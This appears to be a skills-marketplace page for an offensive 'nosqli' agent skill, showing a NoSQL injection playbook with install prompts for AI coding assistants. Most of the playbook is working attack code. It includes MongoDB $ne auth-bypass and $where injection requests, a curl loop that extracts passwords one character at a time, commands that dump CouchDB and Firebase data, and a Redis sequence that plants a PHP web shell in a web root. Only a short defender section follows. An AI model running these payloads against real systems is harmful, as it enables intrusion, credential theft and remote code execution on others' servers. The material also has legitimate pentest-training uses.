nosqli

NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

Jump to install

Repository: PurpleAILAB/Decepticon
Last source activity: May 26, 2026 at 03:12
Detected SKILL.md language: English
Stars: 5,128
Forks: 990

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.

A direct command skips the review prompt. Inspect the source before running it.

npx skills add https://github.com/PurpleAILAB/Decepticon --skill nosqli

The command stays on one line. Scroll horizontally to inspect it before copying.

Prefer a local copy? Download the files currently available to SkillsMP.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

SKILL.md

Source instructions · Read-only preview

Back to search Back to installation

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical

Bug	Severity
Auth bypass via `$ne`	Critical 9.8
Blind char extraction of all user data	Critical 9.0
`$where` JS injection → RCE-adjacent (mongo runs the JS)	Critical 9.8
Public CouchDB / Firebase	Critical (depends on data sensitivity)
Unauth Redis on internal net	High 7-8

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);

nosqli

Install options

Review the source files

NoSQL Injection

1. MongoDB — most common target

Auth bypass

NoSQL Injection

1. MongoDB — most common target

Auth bypass

Server-side JS injection

Operator extraction (blind)

2. CouchDB

3. Firebase Realtime Database

4. Redis

5. Tools

6. PoC

7. Severity

8. Defender

Cross-references

name	nosqli
description	NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
metadata	{"when_to_use":"nosql mongodb mongo couch redis firebase $ne $gt $where injection","mitre_attack":"T1190, T1212","subdomain":"injection","upstream_ref":"skills/_corpus/payloads/NoSQL Injection/"}

nosqli

Source facts

Install options

Review the source files

More from this repository

More from this repository

NoSQL Injection

1. MongoDB — most common target

Auth bypass

NoSQL Injection

1. MongoDB — most common target

Auth bypass

Server-side JS injection

Operator extraction (blind)

2. CouchDB

3. Firebase Realtime Database

4. Redis

5. Tools

6. PoC

7. Severity

8. Defender

Cross-references